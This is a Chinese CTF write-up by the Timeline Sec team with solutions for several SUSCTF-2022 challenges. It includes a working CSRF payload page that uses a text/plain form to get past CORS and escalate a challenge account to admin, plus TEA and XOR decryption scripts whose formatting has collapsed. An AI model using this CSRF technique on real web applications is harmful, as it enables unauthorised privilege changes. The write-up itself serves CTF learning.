SUSCTF-2022 部分WriteUp

admin 2022年3月3日16:40:12评论233 views字数 4613阅读15分22秒阅读模式

SUSCTF-2022 部分WriteUp


SUSCTF

本次比赛Misc方向题目由魔法少女雪殇小夜valen全部解出。团队纳新事项已提上日程,有兴趣的师傅可以留意一下公众号文章。


Web

fxxkcors

思路:CSRF修改用户权限
附件中的js文件内容是用puppeteer去模拟浏览器登录,然后访问我们给定的链接

题目登录后有个修改权限的功能,只要修改成normal admin就可以访问首页拿flag

SUSCTF-2022 部分WriteUp
 
默认情况下非admin登录无法修改权限

SUSCTF-2022 部分WriteUp
 
可以构造CSRF,然后通过题目提供的Admin report访问进行CSRF权限提升

构造exp时会发现,发送json格式会出现同源策略问题无法发起请求,可以通过使Content-Type: text/plain,然后body中是json数据就能绕过,具体EXP如下

<html><script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script>  <form action="http://124.71.205.122:10002/changeapi.php" method="POST" enctype="text/plain">  <input id="sub" name='{"username":"gcker", "test":"' value='test"}'type='hidden'> </form><script>    $("form").submit();</script></html>


放vps上,然后给admin report传http://vps:port/发起csrf,修改用户为admin


SUSCTF-2022 部分WriteUp




非预期解法:gcker/123🙄


Misc


★签到

discord快速截图


SUSCTF-2022 部分WriteUp


★ra2

看地图


SUSCTF-2022 部分WriteUp


Tanner

转成矩阵,图片010末尾文字,加起来sha256即可


SUSCTF-2022 部分WriteUp


AUDIO

音频,两个看起来没什么区别,反正这类音频套路要么就是音频叠加,要么就是藏在某处的morse,直接ai分离人声和背景音乐


SUSCTF-2022 部分WriteUp


发现分离后明显有morse,直接听出来转就完了


★misound

音频明显的sstv,但是有间隔,au可以看到间隔,间隔用频谱是有文字的(图片没存,自行想象)

SUSCTF-2022 部分WriteUp
 
文字是AnEWmuLTiPLyis_etimes_wiLLbEcomE_B
意义不明
其次通过希望人没事可以获得b64数据,解码获得一串数字。
207 359 220 224 352 315 359 374 290 310 277 507 391 513 423 392 508 383 440 322 420 427 503 460 295 318 245 302 407 414 410 130 369 317
同样意义不明
接下来着手于消除噪音,这里贴一个工具
 
http://www.snowywar.top/?golink=aHR0cHM6Ly9naXRodWIuY29tL2NvbGFjbGFudGgvc3N0dg==
直接转换图片,会炸

SUSCTF-2022 部分WriteUp

把文字的频谱噪音删除后手工修补,获得高清图片

SUSCTF-2022 部分WriteUp

可以观察到,总共17列,11行,去除中间空白,可以分为五个一组,总共34个字母,与获得的数字相对应接下来尝试了各种转换,二进制什么一堆堆都没有结果,跟其他人一样,非预期就完事了,属实乐
import mathe = [207, 359, 220, 224, 352, 315, 359, 374, 290, 310, 277, 507, 391, 513, 423, 392, 508, 383, 440, 322, 420, 427, 503, 460, 295, 318, 245, 302, 407, 414, 410, 130, 369, 317]a = 'AnEWmuLTiPLyis_etimes_wiLLbEcomE_B'#b = ['01001', '11010', '00110', '11000', '00001', '10000', '10001', '01011', '01011', '01011', '01110', '00110', '00101', '10010', '00100', '10100', '11010', '10110', '11000', '00101', '11000', '01001', '10010', '01010', '01100', '11010', '10000', '10001', '00101', '00010', '11001', '01000', '01000', '00011']e10= []alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'b = 'NQHFEAOUUUSHLMCJQRFLFNMKGQAOLDWBBI'
result = [9,26,6,]#207*26+1/65#101*95 = 26*369+1
for i in range(34): #rint(95*101/e[i])
a1 = ord(a[i]) #print('a:',a1) n = e[i] flag = chr(round((n * 26 + 1)/a1)) print(flag)'''for i in e: e10.append(bin(i)[2:])
print(e10) '''

Re

DigitalCircuits

用pyinstxtractor 分解


SUSCTF-2022 部分WriteUp


将同名pyc文件改成前struct的pyc文件在线反编译得到


SUSCTF-2022 部分WriteUp


主要逻辑是tea加密


SUSCTF-2022 部分WriteUp


D是delta的二進制形式

脚本

#include <stdio.h>#include <stdint.h>// unsigned char ida_chars[] =//{// 0x88, 0x34, 0xD9, 0x48, 0x4C, 0x14, 0x0C, 0x03, 0xC2, 0x78,//  0xEB, 0x52, 0xED, 0xE5, 0x9C, 0xED,0xE6, 0xED, 0x1F, 0xAE, 0x6D, 0x12, 0x5A, 0xBA, 0xAA, //0x84,//  0x92, 0xCF, 0xE3, 0xF2, 0xE0, 0x65//};//解密函数// void decrypt (uint32_t* v, uint32_t* k) {//     uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up *///     uint32_t delta=0x9e3779b9;                     /* a key schedule constant *///     uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key *///     for (i=0; i<32; i++) {                         /* basic cycle start *///         v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);//         v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);//         sum -= delta;//     }                                              /* end cycle *///     v[0]=v0; v[1]=v1;// }void decrypt (uint32_t* v, uint32_t* k) {    uint32_t v0=v[0], v1=v[1], sum=0x9e3779b9*32, i;  /* set up */    uint32_t delta=0x9e3779b9;                        /* a key schedule constant */    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];/* cache key */    for (i=0; i<32; i++) {                         /* basic cycle start */         v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);        sum -= delta;    }                                              /* end cycle */    v[0]=v0; v[1]=v1;}int main(){    //unsigned char key[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";    uint32_t v[6]={0x3e8947cb,0xcc944639,0x31358388,0x3b0b6893,0xda627361,0x3b2e6427} ,k[4]={17477,0x4144,0x4245,0x4546};    //uint32_t *k = (uint32_t*)key;    //uint32_t *v = (uint32_t*)ida_chars;    // v为要加密的数据是两个32位无符号整数    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位    printf("n");    decrypt(v, k);    decrypt(v+2, k);     decrypt(v+4, k);    // decrypt(v+6, k);     //decrypt(v+8, k);     //decrypt(v+10, k);     //decrypt(v+12, k);        //decrypt(v+14, k);        //decrypt(v+16, k);        //decrypt(v+18, k);       // decrypt(v+20, k);        //decrypt(v+22, k);        //decrypt(v+24, k);    for(int i=0;i<6;i++){      printf("%x ",v[i]);    }    printf("n");    //for(int i=0;i<32;i++){    //    printf("%c",ida_chars[i]);    //}    return 0;}



SUSCTF-2022 部分WriteUp


最后再转换为字符

a=[0x58,0x42,0x76,0x66,0x61,0x45,0x64,0x51,0x76,0x62,0x63,0x72,0x78,0x50,0x42,0x68,0x38,0x41,0x4f,0x63,0x4a,0x36,0x67,0x41]for i in range(len(a)):     print(chr(a[i]),end='')


SUSCTF-2022 部分WriteUp


最后的flag

SUSCTF{XBvfaEdQvbcrxPBh8AOcJ6gA}


hello_world


SUSCTF-2022 部分WriteUp


判断输入为44字节,分析case11


SUSCTF-2022 部分WriteUp


sub_14009cc0函数是异或处理

 

SUSCTF-2022 部分WriteUp


上面的v74与v71是是输入的加密结果和密文,3 2 就是加上2后的结果

脚本:

a= [86,218,205,58,126,134,19,181,29,157,252,151,140,49,107,201,251,26,226,45,220, 211, 241,244,54,9,32, 66,4, 106,113, 83,120, 164,151,143,122,114,57,232,61,250,64,61,408,0, 0, 0]d=[5,143,158,121,42,192,104,129,45,252,207,164,181,85,95,228,157,35,214,29,241,231,151,145,6,36,66,113,60,88,92,48,25,198,245,188,75,66,93,218,88,155,36,64]flag = ''for i in range(len(d)):    flag += chr(a[i] ^ d[i])print(flag)

SUSCTF{40a339d4-f940-4fe0-b382-cabb310d2ead}


PWN
kqueue's revenge

非预期解,直接搜flag就出来了...


SUSCTF-2022 部分WriteUp

  




加入我们:公众号后台回复“加入团队”

SUSCTF-2022 部分WriteUp

SUSCTF-2022 部分WriteUp
欢迎真正热爱技术的你!
Timeline Sec 团队
安全路上,与你并肩前行





原文始发于微信公众号(Timeline Sec):SUSCTF-2022 部分WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月3日16:40:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SUSCTF-2022 部分WriteUphttp://cn-sec.com/archives/811997.html

发表评论

匿名网友 填写信息